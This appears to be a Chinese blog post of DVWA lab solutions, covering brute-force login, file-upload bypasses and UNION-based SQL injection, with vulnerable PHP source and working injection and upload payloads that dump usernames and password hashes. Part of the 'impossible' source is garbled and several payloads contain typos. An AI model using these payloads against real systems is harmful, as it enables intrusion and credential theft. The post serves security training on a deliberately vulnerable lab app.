DVWA解题方法

一、暴力破解

1、low

源代码:

<?php
if( isset( $_GET[ 'Login' ] ) ) {
    // Get username
    $user = $_GET[ 'username' ];

// Get password
    $pass = $_GET[ 'password' ];
    $pass = md5( $pass );   //password经过md5加密
    // Check the database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];
        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

方法一:SQL注入

由源代码“$query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";可知它只对密码password进行了加密,而未对用户名user进行加密,所有可以使用SQL入侵,利用万能密码”admin' #"或"admin' or '1'='1  "进行解密。

 方法二:BurpSuite

BurpSuite抓包工具→Proxy→Intercept →Intercept on(抓包数据得到用户名和密码)

eg.GET /DVWA/vulnerabilities/brute/?username=admin&password=123456&Login=Login HTTP/1.1
Host: 192.168.50.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.50.1/DVWA/vulnerabilities/brute/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: PHPSESSID=0136760b541fecd1deb6e3ff00b6a2cc; security=medium
Connection: close

 →右键→Send to Intruder→Intruder→ Positions→Attack type(Cluster bomb)→Clear→依次选中要爆破的数据(及用户名和密码)之后依次点击Add→Payloads→将Payload set设置为1或2;Payload type设置成Simple list→依次在Payload Options添加用户名和密码→Start attack→用户名和密码就是Status或Length中的数据和其他数据不同的

 二、文件上传

low

源代码:

<?php

if( isset( $_POST[ 'Upload' ] ) ) {      //isset()函数用来阶测变量是否设置并且非NULL,返回值为布尔值true或false;$_POST变量用来收集表单数据Upload.

    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";  //确定文件存放路径
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );    // ".="是连接运算符,eg.$a="w";$a.='b";echo $a;   输出wb;basename函数用来提取文件路径中的文件名;$_FILES变量用来提取上传的文件名。补充:a.b表示a连接b。

    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
        // No
        echo '<pre>Your image was not uploaded.</pre>';
    }
    else {
        // Yes!
        echo "<pre>{$target_path} succesfully uploaded!</pre>";
    }
}
?>

方法:创建一个文本,内容为<?php  echo phpinfo();  ?>,并改名为php形式的文件。选择此文件并上传,会出现…/…/hackable/uploads/poc.php succesfully uploaded!,之后登录http://192.168.50.1/DVWA/vulnerability/upload/…/…/hackable/uploads/poc.php,若访问成功,则上传并运行成功。

medium

 源代码:

<?php
if( isset( $_POST[ 'Upload' ] ) ) {
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

//文件信息
    if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
        ( $uploaded_size < 100000 ) ) {   //限制文件形式
        if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}
?>

 方法一:选择文件poc.php上传,之后用Burp抓包,之后将Content-Type的值改为image/png,之后按Forward转发。

方法二:选择文件poc.png上传,之后用Burp抓包,之后将Content-Disposition中的filename的值改为poc.php。之后访问http://192.168.50.1/DVWA/vulnerability/upload/…/…/hackable/uploads/poc.php。

high:

源代码:

<?php
if( isset( $_POST[ 'Upload' ] ) ) {
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);     //strrpos()函数用来定位字符串最后一个字符的位置;substr()函数用来截取字符串;这里是来获取文件扩展名的。
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];
    if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
        ( $uploaded_size < 100000 ) &&
        getimagesize( $uploaded_tmp ) ) {       //strtolower()函数用来将大写或小写都改为小写形式;getimagesize()函数用来获取图像大小及相关信息。
        if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}
?>

方法一:定义一个文件,内容为GIF89a    <?php   phpinfo();    ?>   ,名字为poc1.png;之后上传。之后访问http://192.168.50.1/DVWA/vulnerability/fi/?page=file:///phpstudy_pro\WWW\DVWA\hackable\uploads\poc1.png。

 impossible:

源代码:

<?php

if( isset( $_POST'Upload' ] ) ) {
   
 // Check Anti-CSRF token
   
 checkToken$_REQUEST'user_token' ], $_SESSION'session_token' ], 'index.php' );
    
// File information
    
$uploaded_name $_FILES'uploaded' ][ 'name' ];
    
$uploaded_ext  substr$uploaded_namestrrpos$uploaded_name'.' ) + 1);
    
$uploaded_size $_FILES'uploaded' ][ 'size' 
];
   
 $uploaded_type $_FILES'uploaded' ][ 'type' ];
    
$uploaded_tmp  $_FILES'uploaded' ][ 'tmp_name' ];
    
// Where are we going to be writing to?
  
  $target_path   DVWA_WEB_PAGE_TO_ROOT 'hackable/uploads/';
    
//$target_file   = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
    
$target_file   =  md5uniqid() . $uploaded_name ) . '.' $uploaded_ext;
    
$temp_file     = ( ( ini_get'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get'upload_tmp_dir' ) ) );
    
$temp_file    .= DIRECTORY_SEPARATOR md5uniqid() . $uploaded_name ) . '.' $uploaded_ext;
    
// Is it an image?
   
 if( ( strtolower$uploaded_ext ) == 'jpg' || strtolower$uploaded_ext ) == 'jpeg' || strtolower$uploaded_ext ) == 'png' ) &&
        ( 
$uploaded_size 100000 ) &&
        ( 
$uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
        
getimagesize$uploaded_tmp ) ) {
        
// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
        
if( $uploaded_type == 'image/jpeg' 
) {
           
 $img imagecreatefromjpeg$uploaded_tmp );
            
imagejpeg$img$temp_file100);
        }
       
 else {
            
$img imagecreatefrompng$uploaded_tmp );
            
imagepng$img$temp_file9);
        }
      
  imagedestroy$img );
        
// Can we move the file to the web root from the temp folder?
        
if( rename$temp_file, ( getcwd() . DIRECTORY_SEPARATOR $target_path $target_file ) ) ) {
            
// Yes!
            
echo "<pre><a href='{$target_path}{$target_file}'>{$target_file}</a> succesfully uploaded!</pre>";
        }
        
else {
            
// No
            
echo '<pre>Your image was not uploaded.</pre>';
        }
        
// Delete any temp files
        
if( file_exists$temp_file ) )
            
unlink$temp_file );
    }
    else {
        
// Invalid file
        
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}
// Generate Anti-CSRF token
generateSessionToken();
?>

 三、SQL注入

low

源代码:

<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // 获取输入
    $id = $_REQUEST[ 'id' ];        //把提交的东西给id
    switch ($_DVWA['SQLI_DB']) {
        case MYSQL:
            // 检查数据库
            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
            // 获取结果
            while( $row = mysqli_fetch_assoc( $result ) ) {
                // 获取值
                $first = $row["first_name"];
                $last  = $row["last_name"];
                // 最终用户反馈
                echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
            }
            mysqli_close($GLOBALS["___mysqli_ston"]);
            break;
        case SQLITE:
            global $sqlite_db_connection;
            #$sqlite_db_connection = new SQLite3($_DVWA['SQLITE_DB']);
            #$sqlite_db_connection->enableExceptions(true);
            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
            #print $query;
            try {
                $results = $sqlite_db_connection->query($query);
            } catch (Exception $e) {
                echo 'Caught exception: ' . $e->getMessage();
                exit();
            }
            if ($results) {
                while ($row = $results->fetchArray()) {   //从结果中获取数据并以数组形式返回。
                    // 获取值
                    $first = $row["first_name"];
                    $last  = $row["last_name"];
                    // 最终用户反馈
                    echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
                }
            } else {
                echo "Error in fetch ".$sqlite_db->lastErrorMsg();
            }
            break;
    } 
}

?>

步骤:

1、判断是数字型注入还是字符型注入:①源代码$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";  中id有引号,所有是字符型

                                                                ②可以输入“1”和“2-1”发现结果不同,所有为字符型。或可以输入“1”有结果,输入“  1'   ”报错,输入“  1' and '1'='1   ”有结果也可以判断。

补充:字符型:id=1' or 1=1--+  ;id=1 or 1=2--+

           数字型:id=1' and 1=1--+  ;id=1 and 1=2--+

如果id是这样的(‘$id'),则输入1’)order  by ……

注:输出不好看加0x71;

比赛常考1 union select 1,group_concat(flag),3 from flag --+

报错:如果有对话框可以用updatexml函数及1‘ and updatexml(1,concat(0x71,database(),0x71)1)--+

判断数据库长度:1’ and length(databast())=8 --+

截取字母1' and ascii(subst(database(),1,1)

limit函数:限制返回条数,limit(1)返回一条结果,limit(3,1)返回第三条结果

eg.1' and ascii(subst((select table_name from information_schema.tables where table.schema=database() limit,1,1),1,1)>80--+/

//查询第一个表和第二个表

空格可以用加号代替,如果输入被防火墙拦截,可以将空格换成加号

1' union select 1,2,3 into outfile "绝对路径“--+    //将select找到的东西放到绝对路径的文件里

2、判断字段长度:依次输入“ 1' order by 1# ”,1’ order by 2# “……直到报错为止,可以知道字段的长度。eg.输入” 1' order by 4#"报错,则字段长度为3。

(作用:输入的同时也对first_name和last_name进行了排序。)

3、找弹出位置:输入“ 1' union select 1,2#   ”,结果为

ID: 1' union select 1,2#

First name: admin

Surname: admin

 

ID: 1' union select 1,2#

First name: 1

Surname: 2

下划线处为弹出位置。

补充:输出关键数据,不输出第一个id,输入id=20 union select……

4、查找数据库名字:输入“  1' union select 1,database()#  ”输出结果

ID: 1' union select 1,database()#

First name: admin

Surname: admin

ID: 1' union select 1,database()#

First name: 1

Surname: dvwa

发现数据库名为“dvwa”。                  

5、查找数据库中所有的表名:输入“  1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#  ”   或输入“  1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=dvwa#  ”结果为

ID: 1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

First name: admin

Surname: admin

ID: 1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

First name: 1

Surname: guestbook,users

所有dvwa有俩个表guestbook和users。

6、在users表中查找所有字段名:“  1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#   ”结果为

ID: 1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

 First name: admin

Surname: admin

ID: 1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'# 

First name: 1

Surname: user_id,first_name,last_name,user,password,avatar,last_login,failed_login,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS

7、查找user和password:输入“   1' union select user,password   from users#    ”   。

 
medium
源代码:
<? php
if( isset( $_POST[ 'Submit' ] ) ) {
    // 获取输入
    $id = $_POST[ 'id' ];
    $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);    //过滤特殊字符
    switch ($_DVWA['SQLI_DB']) {
        case MYSQL:
            $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";     //没有引号为数字型
            $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );
            // 获取结果
            while( $row = mysqli_fetch_assoc( $result ) ) {
                // 显示值
                $first = $row["first_name"];
                $last  = $row["last_name"];
                // 对终端用户反馈
                echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
            }
            break;
        case SQLITE:
            global $sqlite_db_connection;
            $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
            #print $query;
            try {
                $results = $sqlite_db_connection->query($query);
            } catch (Exception $e) {
                echo 'Caught exception: ' . $e->getMessage();
                exit();
            }
            if ($results) {
                while ($row = $results->fetchArray()) {
                    $first = $row["first_name"];
                    $last  = $row["last_name"];
                    echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
                }
            } else {
                echo "Error in fetch ".$sqlite_db->lastErrorMsg();
            }
            break;
    }
}
?>
// 之后在 index.php页面中使用
$query  = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];
mysqli_close($GLOBALS["___mysqli_ston"]);
 ?>
步骤:(无法输入字符,只能利用Burp)
补充:
posted @ 2024-01-14 19:10  小梨漫  阅读(45)  评论(0)    收藏  举报